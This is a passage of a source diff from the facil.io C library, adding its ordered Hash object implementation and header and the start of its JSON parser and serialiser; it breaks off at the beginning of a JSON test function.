+***************************************************************************** */
+
+static void fiobj_hash_dealloc(FIOBJ o, void (*task)(FIOBJ, void *),
+                               void *arg) {
+  FIO_SET_FOR_LOOP(&obj2hash(o)->hash, i) {
+    if (i->obj.key)
+      task((FIOBJ)i->obj.obj, arg);
+    fiobj_free((FIOBJ)i->obj.key);
+    i->obj.key = FIOBJ_INVALID;
+    i->obj.obj = FIOBJ_INVALID;
+  }
+  obj2hash(o)->hash.count = 0;
+  fio_hash___free(&obj2hash(o)->hash);
+  fio_free(FIOBJ2PTR(o));
+}
+
+static __thread FIOBJ each_at_key = FIOBJ_INVALID;
+
+static size_t fiobj_hash_each1(FIOBJ o, size_t start_at,
+                               int (*task)(FIOBJ obj, void *arg), void *arg) {
+  assert(o && FIOBJ_TYPE_IS(o, FIOBJ_T_HASH));
+  FIOBJ old_each_at_key = each_at_key;
+  fio_hash___s *hash = &obj2hash(o)->hash;
+  size_t count = 0;
+  if (hash->count == hash->pos) {
+    /* no holes in the hash, we can work as we please. */
+    for (count = start_at; count < hash->count; ++count) {
+      each_at_key = hash->ordered[count].obj.key;
+      if (task((FIOBJ)hash->ordered[count].obj.obj, arg) == -1) {
+        ++count;
+        goto end;
+      }
+    }
+  } else {
+    size_t pos = 0;
+    for (; pos < start_at && pos < hash->pos; ++pos) {
+      /* counting */
+      if (hash->ordered[pos].obj.key == FIOBJ_INVALID)
+        ++start_at;
+      else
+        ++count;
+    }
+    for (; pos < hash->pos; ++pos) {
+      /* performing */
+      if (hash->ordered[pos].obj.key == FIOBJ_INVALID)
+        continue;
+      ++count;
+      each_at_key = hash->ordered[pos].obj.key;
+      if (task((FIOBJ)hash->ordered[pos].obj.obj, arg) == -1)
+        break;
+    }
+  }
+end:
+  each_at_key = old_each_at_key;
+  return count;
+}
+
+FIOBJ fiobj_hash_key_in_loop(void) { return each_at_key; }
+
+static size_t fiobj_hash_is_eq(const FIOBJ self, const FIOBJ other) {
+  if (fio_hash___count(&obj2hash(self)->hash) !=
+      fio_hash___count(&obj2hash(other)->hash))
+    return 0;
+  return 1;
+}
+
+/** Returns the number of elements in the Array. */
+size_t fiobj_hash_count(const FIOBJ o) {
+  assert(o && FIOBJ_TYPE_IS(o, FIOBJ_T_HASH));
+  return fio_hash___count(&obj2hash(o)->hash);
+}
+
+intptr_t fiobj_hash2num(const FIOBJ o) { return (intptr_t)fiobj_hash_count(o); }
+
+static size_t fiobj_hash_is_true(const FIOBJ o) {
+  return fiobj_hash_count(o) != 0;
+}
+
+fio_str_info_s fiobject___noop_to_str(const FIOBJ o);
+intptr_t fiobject___noop_to_i(const FIOBJ o);
+double fiobject___noop_to_f(const FIOBJ o);
+
+const fiobj_object_vtable_s FIOBJECT_VTABLE_HASH = {
+    .class_name = "Hash",
+    .dealloc = fiobj_hash_dealloc,
+    .is_eq = fiobj_hash_is_eq,
+    .count = fiobj_hash_count,
+    .each = fiobj_hash_each1,
+    .is_true = fiobj_hash_is_true,
+    .to_str = fiobject___noop_to_str,
+    .to_i = fiobj_hash2num,
+    .to_f = fiobject___noop_to_f,
+};
+
+/* *****************************************************************************
+Hash API
+***************************************************************************** */
+
+/**
+ * Creates a mutable empty Hash object. Use `fiobj_free` when done.
+ *
+ * Notice that these Hash objects are designed for smaller collections and
+ * retain order of object insertion.
+ */
+FIOBJ fiobj_hash_new(void) {
+  fiobj_hash_s *h = fio_malloc(sizeof(*h));
+  FIO_ASSERT_ALLOC(h);
+  *h = (fiobj_hash_s){.head = {.ref = 1, .type = FIOBJ_T_HASH},
+                      .hash = FIO_SET_INIT};
+  return (FIOBJ)h | FIOBJECT_HASH_FLAG;
+}
+
+/**
+ * Creates a mutable empty Hash object with an initial capacity of `capa`. Use
+ * `fiobj_free` when done.
+ *
+ * Notice that these Hash objects are designed for smaller collections and
+ * retain order of object insertion.
+ */
+FIOBJ fiobj_hash_new2(size_t capa) {
+  fiobj_hash_s *h = fio_malloc(sizeof(*h));
+  FIO_ASSERT_ALLOC(h);
+  *h = (fiobj_hash_s){.head = {.ref = 1, .type = FIOBJ_T_HASH},
+                      .hash = FIO_SET_INIT};
+  fio_hash___capa_require(&h->hash, capa);
+  return (FIOBJ)h | FIOBJECT_HASH_FLAG;
+}
+
+/**
+ * Returns a temporary theoretical Hash map capacity.
+ * This could be used for testing performance and memory consumption.
+ */
+size_t fiobj_hash_capa(const FIOBJ hash) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  return fio_hash___capa(&obj2hash(hash)->hash);
+}
+
+/**
+ * Sets a key-value pair in the Hash, duplicating the Symbol and **moving**
+ * the ownership of the object to the Hash.
+ *
+ * Returns -1 on error.
+ */
+int fiobj_hash_set(FIOBJ hash, FIOBJ key, FIOBJ obj) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  if (FIOBJ_TYPE_IS(key, FIOBJ_T_STRING))
+    fiobj_str_freeze(key);
+  fio_hash___insert(&obj2hash(hash)->hash, fiobj_obj2hash(key), key, obj, NULL);
+  fiobj_free(obj); /* take ownership - free the user's reference. */
+  return 0;
+}
+
+/**
+ * Allows the Hash to be used as a stack.
+ *
+ * If a pointer `key` is provided, it will receive ownership of the key
+ * (remember to free).
+ *
+ * Returns FIOBJ_INVALID on error.
+ *
+ * Returns and object if successful (remember to free).
+ */
+FIOBJ fiobj_hash_pop(FIOBJ hash, FIOBJ *key) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  FIOBJ old;
+  if (fio_hash___count(&obj2hash(hash)->hash))
+    return FIOBJ_INVALID;
+  old = fiobj_dup(fio_hash___last(&obj2hash(hash)->hash).obj);
+  if (key)
+    *key = fiobj_dup(fio_hash___last(&obj2hash(hash)->hash).key);
+  fio_hash___pop(&obj2hash(hash)->hash);
+  return old;
+}
+
+/**
+ * Replaces the value in a key-value pair, returning the old value (and it's
+ * ownership) to the caller.
+ *
+ * A return value of NULL indicates that no previous object existed (but a new
+ * key-value pair was created.
+ *
+ * Errors are silently ignored.
+ */
+FIOBJ fiobj_hash_replace(FIOBJ hash, FIOBJ key, FIOBJ obj) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  FIOBJ old = FIOBJ_INVALID;
+  fio_hash___insert(&obj2hash(hash)->hash, fiobj_obj2hash(key), key, obj, &old);
+  fiobj_free(obj); /* take ownership - free the user's reference. */
+  return old;
+}
+
+/**
+ * Removes a key-value pair from the Hash, if it exists.
+ */
+FIOBJ fiobj_hash_remove(FIOBJ hash, FIOBJ key) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  FIOBJ old = FIOBJ_INVALID;
+  fio_hash___remove(&obj2hash(hash)->hash, fiobj_obj2hash(key), key, &old);
+  return old;
+}
+
+/**
+ * Removes a key-value pair from the Hash, if it exists, returning the old
+ * object (instead of freeing it).
+ */
+FIOBJ fiobj_hash_remove2(FIOBJ hash, uint64_t hash_value) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  FIOBJ old = FIOBJ_INVALID;
+  fio_hash___remove(&obj2hash(hash)->hash, hash_value, -1, &old);
+  return old;
+}
+
+/**
+ * Deletes a key-value pair from the Hash, if it exists, freeing the
+ * associated object.
+ *
+ * Returns -1 on type error or if the object never existed.
+ */
+int fiobj_hash_delete(FIOBJ hash, FIOBJ key) {
+  return fio_hash___remove(&obj2hash(hash)->hash, fiobj_obj2hash(key), key,
+                           NULL);
+}
+
+/**
+ * Deletes a key-value pair from the Hash, if it exists, freeing the
+ * associated object.
+ *
+ * This function takes a `uintptr_t` Hash value (see `fio_siphash`) to
+ * perform a lookup in the HashMap, which is slightly faster than the other
+ * variations.
+ *
+ * Returns -1 on type error or if the object never existed.
+ */
+int fiobj_hash_delete2(FIOBJ hash, uint64_t key_hash) {
+  return fio_hash___remove(&obj2hash(hash)->hash, key_hash, -1, NULL);
+}
+
+/**
+ * Returns a temporary handle to the object associated with the Symbol, NULL
+ * if none.
+ */
+FIOBJ fiobj_hash_get(const FIOBJ hash, FIOBJ key) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  return fio_hash___find(&obj2hash(hash)->hash, fiobj_obj2hash(key), key);
+  ;
+}
+
+/**
+ * Returns a temporary handle to the object associated hashed key value.
+ *
+ * This function takes a `uintptr_t` Hash value (see `fio_siphash`) to
+ * perform a lookup in the HashMap.
+ *
+ * Returns NULL if no object is associated with this hashed key value.
+ */
+FIOBJ fiobj_hash_get2(const FIOBJ hash, uint64_t key_hash) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  return fio_hash___find(&obj2hash(hash)->hash, key_hash, -1);
+  ;
+}
+
+/**
+ * Returns 1 if the key (Symbol) exists in the Hash, even if value is NULL.
+ */
+int fiobj_hash_haskey(const FIOBJ hash, FIOBJ key) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  return fio_hash___find(&obj2hash(hash)->hash, fiobj_obj2hash(key), key) !=
+         FIOBJ_INVALID;
+}
+
+/**
+ * Empties the Hash.
+ */
+void fiobj_hash_clear(const FIOBJ hash) {
+  assert(hash && FIOBJ_TYPE_IS(hash, FIOBJ_T_HASH));
+  fio_hash___free(&obj2hash(hash)->hash);
+}
+
+/* *****************************************************************************
+Simple Tests
+***************************************************************************** */
+
+#if DEBUG
+void fiobj_test_hash(void) {
+  fprintf(stderr, "=== Testing Hash\n");
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "Testing failed.\n");                                      \
+    exit(-1);                                                                  \
+  }
+  FIOBJ o = fiobj_hash_new();
+  FIOBJ str_key = fiobj_str_new("Hello World!", 12);
+  TEST_ASSERT(FIOBJ_TYPE_IS(o, FIOBJ_T_HASH), "Type identification error!\n");
+  TEST_ASSERT(fiobj_hash_count(o) == 0, "Hash should be empty!\n");
+  fiobj_hash_set(o, str_key, fiobj_true());
+  TEST_ASSERT(fiobj_str_write(str_key, "should fail...", 13) == 0,
+              "wrote to frozen string?");
+  TEST_ASSERT(fiobj_obj2cstr(str_key).len == 12,
+              "String was mutated (not frozen)!\n");
+  TEST_ASSERT(fiobj_hash_get(o, str_key) == fiobj_true(),
+              "full compare didn't get value back");
+  TEST_ASSERT(fiobj_hash_get2(o, fiobj_obj2hash(str_key)) == fiobj_true(),
+              "hash compare didn't get value back");
+
+  FIOBJ o2 = fiobj_hash_new2(3);
+  TEST_ASSERT(obj2hash(o2)->hash.capa >= 3,
+              "Hash capacity should be larger than 3! %zu != 4\n",
+              (size_t)obj2hash(o2)->hash.capa);
+  fiobj_hash_set(o2, str_key, fiobj_true());
+  TEST_ASSERT(fiobj_hash_is_eq(o, o2), "Hashes not equal at core! %zu != %zu\n",
+              fiobj_hash_count(o), fiobj_hash_count(o2));
+  TEST_ASSERT(fiobj_iseq(o, o2), "Hashes not equal!\n");
+  TEST_ASSERT(obj2hash(o2)->hash.capa > 3,
+              "Hash capacity should be larger than 3! %zu != 4\n",
+              (size_t)obj2hash(o2)->hash.capa);
+
+  fiobj_hash_delete(o, str_key);
+
+  TEST_ASSERT(fiobj_hash_get2(o, fiobj_obj2hash(str_key)) == 0,
+              "item wasn't deleted!");
+  fiobj_free(
+      str_key); /* note that a copy will remain in the Hash until rehashing. */
+  fiobj_free(o);
+  fiobj_free(o2);
+  fprintf(stderr, "* passed.\n");
+}
+#endif

facil.io/lib/facil/fiobj/fiobj_hash.h

@@ -0,0 +1,176 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#ifndef H_FIOBJ_HASH_H
+/**
+ * The facil.io Hash object is an ordered Hash Table implementation.
+ *
+ * By compromising some of the HashMap's collision resistance (comparing only
+ * the Hash values rather than comparing key data), memory comparison can be
+ * avoided and performance increased.
+ *
+ * By being ordered it's possible to iterate over key-value pairs in the order
+ * in which they were added to the Hash table, making it possible to output JSON
+ * in a controlled manner.
+ */
+#define H_FIOBJ_HASH_H
+
+#include <fiobject.h>
+
+#include <fio_siphash.h>
+#include <fiobj_str.h>
+
+#include <errno.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* MUST be a power of 2 */
+#define HASH_INITIAL_CAPACITY 16
+
+/** attempts to rehash the hashmap. */
+void fiobj_hash_rehash(FIOBJ h);
+
+/* *****************************************************************************
+Hash Creation
+***************************************************************************** */
+
+/**
+ * Creates a mutable empty Hash object. Use `fiobj_free` when done.
+ *
+ * Notice that these Hash objects are optimized for smaller collections and
+ * retain order of object insertion.
+ */
+FIOBJ fiobj_hash_new(void);
+
+/**
+ * Creates a mutable empty Hash object with an initial capacity of `capa`. Use
+ * `fiobj_free` when done.
+ *
+ * This allows optimizations for larger (or smaller) collections.
+ */
+FIOBJ fiobj_hash_new2(size_t capa);
+
+/* *****************************************************************************
+Hash properties and state
+***************************************************************************** */
+
+/**
+ * Returns a temporary theoretical Hash map capacity.
+ * This could be used for testing performance and memory consumption.
+ */
+size_t fiobj_hash_capa(const FIOBJ hash);
+
+/** Returns the number of elements in the Hash. */
+size_t fiobj_hash_count(const FIOBJ hash);
+
+/** Returns the key for the object in the current `fiobj_each` loop (if any). */
+FIOBJ fiobj_hash_key_in_loop(void);
+
+/* *****************************************************************************
+Populating the Hash
+***************************************************************************** */
+
+/**
+ * Sets a key-value pair in the Hash, duplicating the Symbol and **moving**
+ * the ownership of the object to the Hash.
+ *
+ * Returns -1 on error.
+ */
+int fiobj_hash_set(FIOBJ hash, FIOBJ key, FIOBJ obj);
+
+/**
+ * Allows the Hash to be used as a stack.
+ *
+ * If a pointer `key` is provided, it will receive ownership of the key
+ * (remember to free).
+ *
+ * Returns FIOBJ_INVALID on error.
+ *
+ * Returns and object if successful (remember to free).
+ */
+FIOBJ fiobj_hash_pop(FIOBJ hash, FIOBJ *key);
+
+/**
+ * Replaces the value in a key-value pair, returning the old value (and it's
+ * ownership) to the caller.
+ *
+ * A return value of FIOBJ_INVALID indicates that no previous object existed
+ * (but a new key-value pair was created.
+ *
+ * Errors are silently ignored.
+ *
+ * Remember to free the returned object.
+ */
+FIOBJ fiobj_hash_replace(FIOBJ hash, FIOBJ key, FIOBJ obj);
+
+/**
+ * Removes a key-value pair from the Hash, if it exists, returning the old
+ * object (instead of freeing it).
+ */
+FIOBJ fiobj_hash_remove(FIOBJ hash, FIOBJ key);
+
+/**
+ * Removes a key-value pair from the Hash, if it exists, returning the old
+ * object (instead of freeing it).
+ */
+FIOBJ fiobj_hash_remove2(FIOBJ hash, uint64_t key_hash);
+
+/**
+ * Deletes a key-value pair from the Hash, if it exists, freeing the
+ * associated object.
+ *
+ * Returns -1 on type error or if the object never existed.
+ */
+int fiobj_hash_delete(FIOBJ hash, FIOBJ key);
+
+/**
+ * Deletes a key-value pair from the Hash, if it exists, freeing the
+ * associated object.
+ *
+ * This function takes a `uint64_t` Hash value (see `fio_siphash`) to
+ * perform a lookup in the HashMap, which is slightly faster than the other
+ * variations.
+ *
+ * Returns -1 on type error or if the object never existed.
+ */
+int fiobj_hash_delete2(FIOBJ hash, uint64_t key_hash);
+
+/**
+ * Returns a temporary handle to the object associated with the Symbol,
+ * FIOBJ_INVALID if none.
+ */
+FIOBJ fiobj_hash_get(const FIOBJ hash, FIOBJ key);
+
+/**
+ * Returns a temporary handle to the object associated hashed key value.
+ *
+ * This function takes a `uint64_t` Hash value (see `fio_siphash`) to
+ * perform a lookup in the HashMap, which is slightly faster than the other
+ * variations.
+ *
+ * Returns FIOBJ_INVALID if no object is associated with this hashed key value.
+ */
+FIOBJ fiobj_hash_get2(const FIOBJ hash, uint64_t key_hash);
+
+/**
+ * Returns 1 if the key (Symbol) exists in the Hash, even if it's value is NULL.
+ */
+int fiobj_hash_haskey(const FIOBJ hash, FIOBJ key);
+
+/**
+ * Empties the Hash.
+ */
+void fiobj_hash_clear(const FIOBJ hash);
+
+#if DEBUG
+void fiobj_test_hash(void);
+#endif
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobj_json.c

@@ -0,0 +1,622 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#include <fiobj_json.h>
+#define FIO_ARY_NAME fio_json_stack
+#define FIO_ARY_TYPE FIOBJ
+#include <fio.h>
+
+#include <fio_json_parser.h>
+
+#include <assert.h>
+#include <ctype.h>
+#include <math.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* *****************************************************************************
+JSON API
+***************************************************************************** */
+
+/**
+ * Parses JSON, setting `pobj` to point to the new Object.
+ *
+ * Returns the number of bytes consumed. On Error, 0 is returned and no data is
+ * consumed.
+ */
+size_t fiobj_json2obj(FIOBJ *pobj, const void *data, size_t len);
+/* Formats an object into a JSON string. Remember to `fiobj_free`. */
+FIOBJ fiobj_obj2json(FIOBJ, uint8_t);
+
+/* *****************************************************************************
+FIOBJ Parser
+***************************************************************************** */
+
+typedef struct {
+  json_parser_s p;
+  FIOBJ key;
+  FIOBJ top;
+  FIOBJ target;
+  fio_json_stack_s stack;
+  uint8_t is_hash;
+} fiobj_json_parser_s;
+
+/* *****************************************************************************
+FIOBJ Callacks
+***************************************************************************** */
+
+static inline void fiobj_json_add2parser(fiobj_json_parser_s *p, FIOBJ o) {
+  if (p->top) {
+    if (p->is_hash) {
+      if (p->key) {
+        fiobj_hash_set(p->top, p->key, o);
+        fiobj_free(p->key);
+        p->key = FIOBJ_INVALID;
+      } else {
+        p->key = o;
+      }
+    } else {
+      fiobj_ary_push(p->top, o);
+    }
+  } else {
+    p->top = o;
+  }
+}
+
+/** a NULL object was detected */
+static void fio_json_on_null(json_parser_s *p) {
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, fiobj_null());
+}
+/** a TRUE object was detected */
+static void fio_json_on_true(json_parser_s *p) {
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, fiobj_true());
+}
+/** a FALSE object was detected */
+static void fio_json_on_false(json_parser_s *p) {
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, fiobj_false());
+}
+/** a Numberl was detected (long long). */
+static void fio_json_on_number(json_parser_s *p, long long i) {
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, fiobj_num_new(i));
+}
+/** a Float was detected (double). */
+static void fio_json_on_float(json_parser_s *p, double f) {
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, fiobj_float_new(f));
+}
+/** a String was detected (int / float). update `pos` to point at ending */
+static void fio_json_on_string(json_parser_s *p, void *start, size_t length) {
+  FIOBJ str = fiobj_str_buf(length);
+  fiobj_str_resize(
+      str, fio_json_unescape_str(fiobj_obj2cstr(str).data, start, length));
+  fiobj_json_add2parser((fiobj_json_parser_s *)p, str);
+}
+/** a dictionary object was detected */
+static int fio_json_on_start_object(json_parser_s *p) {
+  fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+  if (pr->target) {
+    /* push NULL, don't free the objects */
+    fio_json_stack_push(&pr->stack, pr->top);
+    pr->top = pr->target;
+    pr->target = FIOBJ_INVALID;
+  } else {
+    FIOBJ hash = fiobj_hash_new();
+    fiobj_json_add2parser(pr, hash);
+    fio_json_stack_push(&pr->stack, pr->top);
+    pr->top = hash;
+  }
+  pr->is_hash = 1;
+  return 0;
+}
+/** a dictionary object closure detected */
+static void fio_json_on_end_object(json_parser_s *p) {
+  fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+  if (pr->key) {
+    FIO_LOG_WARNING("(JSON parsing) malformed JSON, "
+                    "ignoring dangling Hash key.");
+    fiobj_free(pr->key);
+    pr->key = FIOBJ_INVALID;
+  }
+  pr->top = FIOBJ_INVALID;
+  fio_json_stack_pop(&pr->stack, &pr->top);
+  pr->is_hash = FIOBJ_TYPE_IS(pr->top, FIOBJ_T_HASH);
+}
+/** an array object was detected */
+static int fio_json_on_start_array(json_parser_s *p) {
+  fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+  if (pr->target)
+    return -1;
+  FIOBJ ary = fiobj_ary_new();
+  fiobj_json_add2parser(pr, ary);
+  fio_json_stack_push(&pr->stack, pr->top);
+  pr->top = ary;
+  pr->is_hash = 0;
+  return 0;
+}
+/** an array closure was detected */
+static void fio_json_on_end_array(json_parser_s *p) {
+  fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+  pr->top = FIOBJ_INVALID;
+  fio_json_stack_pop(&pr->stack, &pr->top);
+  pr->is_hash = FIOBJ_TYPE_IS(pr->top, FIOBJ_T_HASH);
+}
+/** the JSON parsing is complete */
+static void fio_json_on_json(json_parser_s *p) {
+  // fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+  // FIO_ARY_FOR(&pr->stack, pos) { fiobj_free((FIOBJ)pos.obj); }
+  // fio_json_stack_free(&pr->stack);
+  (void)p; /* nothing special... right? */
+}
+/** the JSON parsing is complete */
+static void fio_json_on_error(json_parser_s *p) {
+  fiobj_json_parser_s *pr = (fiobj_json_parser_s *)p;
+#if DEBUG
+  FIO_LOG_DEBUG("JSON on error called.");
+#endif
+  fiobj_free((FIOBJ)fio_json_stack_get(&pr->stack, 0));
+  fiobj_free(pr->key);
+  fio_json_stack_free(&pr->stack);
+  *pr = (fiobj_json_parser_s){.top = FIOBJ_INVALID};
+}
+
+/* *****************************************************************************
+JSON formatting
+***************************************************************************** */
+
+/** Writes a JSON friendly version of the src String */
+static void write_safe_str(FIOBJ dest, const FIOBJ str) {
+  fio_str_info_s s = fiobj_obj2cstr(str);
+  fio_str_info_s t = fiobj_obj2cstr(dest);
+  t.data[t.len] = '"';
+  t.len++;
+  fiobj_str_resize(dest, t.len);
+  t = fiobj_obj2cstr(dest);
+  const uint8_t *restrict src = (const uint8_t *)s.data;
+  size_t len = s.len;
+  uint64_t end = t.len;
+  /* make sure we have some room */
+  size_t added = 0;
+  size_t capa = fiobj_str_capa(dest);
+  if (capa <= end + s.len + 64) {
+    if (0) {
+      capa = (((capa >> 12) + 1) << 12) - 1;
+      capa = fiobj_str_capa_assert(dest, capa);
+    } else {
+      capa = fiobj_str_capa_assert(dest, (end + s.len + 64));
+    }
+    fio_str_info_s tmp = fiobj_obj2cstr(dest);
+    t = tmp;
+  }
+  while (len) {
+    char *restrict writer = (char *)t.data;
+    while (len && src[0] > 32 && src[0] != '"' && src[0] != '\\') {
+      len--;
+      writer[end++] = *(src++);
+    }
+    if (!len)
+      break;
+    switch (src[0]) {
+    case '\b':
+      writer[end++] = '\\';
+      writer[end++] = 'b';
+      added++;
+      break; /* from switch */
+    case '\f':
+      writer[end++] = '\\';
+      writer[end++] = 'f';
+      added++;
+      break; /* from switch */
+    case '\n':
+      writer[end++] = '\\';
+      writer[end++] = 'n';
+      added++;
+      break; /* from switch */
+    case '\r':
+      writer[end++] = '\\';
+      writer[end++] = 'r';
+      added++;
+      break; /* from switch */
+    case '\t':
+      writer[end++] = '\\';
+      writer[end++] = 't';
+      added++;
+      break; /* from switch */
+    case '"':
+    case '\\':
+    case '/':
+      writer[end++] = '\\';
+      writer[end++] = src[0];
+      added++;
+      break; /* from switch */
+    default:
+      if (src[0] <= 31) {
+        /* MUST escape all control values less than 32 */
+        writer[end++] = '\\';
+        writer[end++] = 'u';
+        writer[end++] = '0';
+        writer[end++] = '0';
+        writer[end++] = hex_chars[src[0] >> 4];
+        writer[end++] = hex_chars[src[0] & 15];
+        added += 4;
+      } else
+        writer[end++] = src[0];
+      break; /* from switch */
+    }
+    src++;
+    len--;
+    if (added >= 48 && capa <= end + len + 64) {
+      writer[end] = 0;
+      fiobj_str_resize(dest, end);
+      fiobj_str_capa_assert(dest, (end + len + 64));
+      t = fiobj_obj2cstr(dest);
+      writer = (char *)t.data;
+      capa = t.capa;
+      added = 0;
+    }
+  }
+  t.data[end++] = '"';
+  fiobj_str_resize(dest, end);
+}
+
+typedef struct {
+  FIOBJ dest;
+  FIOBJ parent;
+  fio_json_stack_s *stack;
+  uintptr_t count;
+  uint8_t pretty;
+} obj2json_data_s;
+
+static int fiobj_obj2json_task(FIOBJ o, void *data_) {
+  obj2json_data_s *data = data_;
+  uint8_t add_seperator = 1;
+  if (fiobj_hash_key_in_loop()) {
+    write_safe_str(data->dest, fiobj_hash_key_in_loop());
+    fiobj_str_write(data->dest, ":", 1);
+  }
+  switch (FIOBJ_TYPE(o)) {
+  case FIOBJ_T_NUMBER:
+  case FIOBJ_T_NULL:
+  case FIOBJ_T_TRUE:
+  case FIOBJ_T_FALSE:
+  case FIOBJ_T_FLOAT:
+    fiobj_str_join(data->dest, o);
+    --data->count;
+    break;
+
+  case FIOBJ_T_DATA:
+  case FIOBJ_T_UNKNOWN:
+  case FIOBJ_T_STRING:
+    write_safe_str(data->dest, o);
+    --data->count;
+    break;
+
+  case FIOBJ_T_ARRAY:
+    --data->count;
+    fio_json_stack_push(data->stack, data->parent);
+    fio_json_stack_push(data->stack, (FIOBJ)data->count);
+    data->parent = o;
+    data->count = fiobj_ary_count(o);
+    fiobj_str_write(data->dest, "[", 1);
+    add_seperator = 0;
+    break;
+
+  case FIOBJ_T_HASH:
+    --data->count;
+    fio_json_stack_push(data->stack, data->parent);
+    fio_json_stack_push(data->stack, (FIOBJ)data->count);
+    data->parent = o;
+    data->count = fiobj_hash_count(o);
+    fiobj_str_write(data->dest, "{", 1);
+    add_seperator = 0;
+    break;
+  }
+  if (data->pretty) {
+    fiobj_str_capa_assert(data->dest,
+                          fiobj_obj2cstr(data->dest).len +
+                              (fio_json_stack_count(data->stack) * 5));
+    while (!data->count && data->parent) {
+      if (FIOBJ_TYPE_IS(data->parent, FIOBJ_T_HASH)) {
+        fiobj_str_write(data->dest, "}", 1);
+      } else {
+        fiobj_str_write(data->dest, "]", 1);
+      }
+      add_seperator = 1;
+      data->count = 0;
+      fio_json_stack_pop(data->stack, &data->count);
+      data->parent = FIOBJ_INVALID;
+      fio_json_stack_pop(data->stack, &data->parent);
+    }
+
+    if (add_seperator && data->parent) {
+      fiobj_str_write(data->dest, ",\n", 2);
+      uintptr_t indent = fio_json_stack_count(data->stack) - 1;
+      fiobj_str_capa_assert(data->dest,
+                            fiobj_obj2cstr(data->dest).len + (indent * 2));
+      fio_str_info_s buf = fiobj_obj2cstr(data->dest);
+      while (indent--) {
+        buf.data[buf.len++] = ' ';
+        buf.data[buf.len++] = ' ';
+      }
+      fiobj_str_resize(data->dest, buf.len);
+    }
+  } else {
+    fiobj_str_capa_assert(data->dest,
+                          fiobj_obj2cstr(data->dest).len +
+                              (fio_json_stack_count(data->stack) << 1));
+    while (!data->count && data->parent) {
+      if (FIOBJ_TYPE_IS(data->parent, FIOBJ_T_HASH)) {
+        fiobj_str_write(data->dest, "}", 1);
+      } else {
+        fiobj_str_write(data->dest, "]", 1);
+      }
+      add_seperator = 1;
+      data->count = 0;
+      data->parent = FIOBJ_INVALID;
+      fio_json_stack_pop(data->stack, &data->count);
+      fio_json_stack_pop(data->stack, &data->parent);
+    }
+
+    if (add_seperator && data->parent) {
+      fiobj_str_write(data->dest, ",", 1);
+    }
+  }
+
+  return 0;
+}
+
+/* *****************************************************************************
+FIOBJ API
+***************************************************************************** */
+
+/**
+ * Parses JSON, setting `pobj` to point to the new Object.
+ *
+ * Returns the number of bytes consumed. On Error, 0 is returned and no data is
+ * consumed.
+ */
+size_t fiobj_json2obj(FIOBJ *pobj, const void *data, size_t len) {
+  fiobj_json_parser_s p = {.top = FIOBJ_INVALID};
+  size_t consumed = fio_json_parse(&p.p, data, len);
+  if (!consumed || p.p.depth) {
+    fiobj_free(fio_json_stack_get(&p.stack, 0));
+    p.top = FIOBJ_INVALID;
+  }
+  fio_json_stack_free(&p.stack);
+  fiobj_free(p.key);
+  *pobj = p.top;
+  return consumed;
+}
+
+/**
+ * Updates a Hash using JSON data.
+ *
+ * Parsing errors and non-dictionar object JSON data are silently ignored,
+ * attempting to update the Hash as much as possible before any errors
+ * encountered.
+ *
+ * Conflicting Hash data is overwritten (prefering the new over the old).
+ *
+ * Returns the number of bytes consumed. On Error, 0 is returned and no data is
+ * consumed.
+ */
+size_t fiobj_hash_update_json(FIOBJ hash, const void *data, size_t len) {
+  if (!hash)
+    return 0;
+  fiobj_json_parser_s p = {.top = FIOBJ_INVALID, .target = hash};
+  size_t consumed = fio_json_parse(&p.p, data, len);
+  fio_json_stack_free(&p.stack);
+  fiobj_free(p.key);
+  if (p.top != hash)
+    fiobj_free(p.top);
+  return consumed;
+}
+
+/**
+ * Formats an object into a JSON string, appending the JSON string to an
+ * existing String. Remember to `fiobj_free`.
+ */
+FIOBJ fiobj_obj2json2(FIOBJ dest, FIOBJ o, uint8_t pretty) {
+  assert(dest && FIOBJ_TYPE_IS(dest, FIOBJ_T_STRING));
+  if (!o) {
+    fiobj_str_write(dest, "null", 4);
+    return 0;
+  }
+  fio_json_stack_s stack = FIO_ARY_INIT;
+  obj2json_data_s data = {
+      .dest = dest,
+      .stack = &stack,
+      .pretty = pretty,
+      .count = 1,
+  };
+  if (!o || !FIOBJ_IS_ALLOCATED(o) || !FIOBJECT2VTBL(o)->each) {
+    fiobj_obj2json_task(o, &data);
+    return dest;
+  }
+  fiobj_each2(o, fiobj_obj2json_task, &data);
+  fio_json_stack_free(&stack);
+  return dest;
+}
+
+/* Formats an object into a JSON string. Remember to `fiobj_free`. */
+FIOBJ fiobj_obj2json(FIOBJ obj, uint8_t pretty) {
+  return fiobj_obj2json2(fiobj_str_buf(128), obj, pretty);
+}
+
+/* *****************************************************************************
+Test
+***************************************************************************** */
+
+#if DEBUG
+void fiobj_test_json(void) {
+  fprintf(stderr, "=== Testing JSON parser (simple test)\n");
